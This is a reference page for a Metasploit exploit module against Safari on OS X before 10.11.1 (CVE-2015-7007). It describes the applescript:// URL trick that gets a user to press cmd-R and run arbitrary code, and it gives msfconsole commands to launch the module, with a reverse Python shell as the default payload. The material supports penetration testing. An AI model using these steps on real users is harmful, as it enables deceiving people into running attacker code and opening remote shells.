Safari User-Assisted Applescript Exec Attack - Metasploit
This page contains detailed information about how to use the exploit/osx/browser/safari_user_assisted_applescript_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Safari User-Assisted Applescript Exec Attack
Module: exploit/osx/browser/safari_user_assisted_applescript_exec
Source code: modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb
Disclosure date: 2015-10-16
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): OSX, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2015-7007
In versions of Mac OS X before 10.11.1, the applescript:// URL scheme is provided, which opens the provided script in the Applescript Editor. Pressing cmd-R in the Editor executes the code without any additional confirmation from the user. By getting the user to press cmd-R in Safari, and by hooking the cmd-key keypress event, a user can be tricked into running arbitrary Applescript code. Gatekeeper should be disabled from Security & Privacy in order to avoid the unidentified Developer prompt.
Module Ranking and Traits
Module Ranking:
- manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.
Basic Usage
msf > use exploit/osx/browser/safari_user_assisted_applescript_exec
msf exploit(safari_user_assisted_applescript_exec) > run
This module is also supported by Browser Autopwn 2.
To load it from Browser Autopwn 2, here's how:
msf > use auxiliary/server/browser_autopwn2
msf auxiliary(browser_autopwn2) > set INCLUDE_PATTERN safari_user_assisted_applescript_exec
INCLUDE_PATTERN => safari_user_assisted_applescript_exec
msf auxiliary(browser_autopwn2) > exploit

Msfconsole Usage
Here is how the osx/browser/safari_user_assisted_applescript_exec exploit module looks in the msfconsole:
msf6 > use exploit/osx/browser/safari_user_assisted_applescript_exec
[*] Using configured payload cmd/unix/reverse_python
msf6 exploit(osx/browser/safari_user_assisted_applescript_exec) > show info
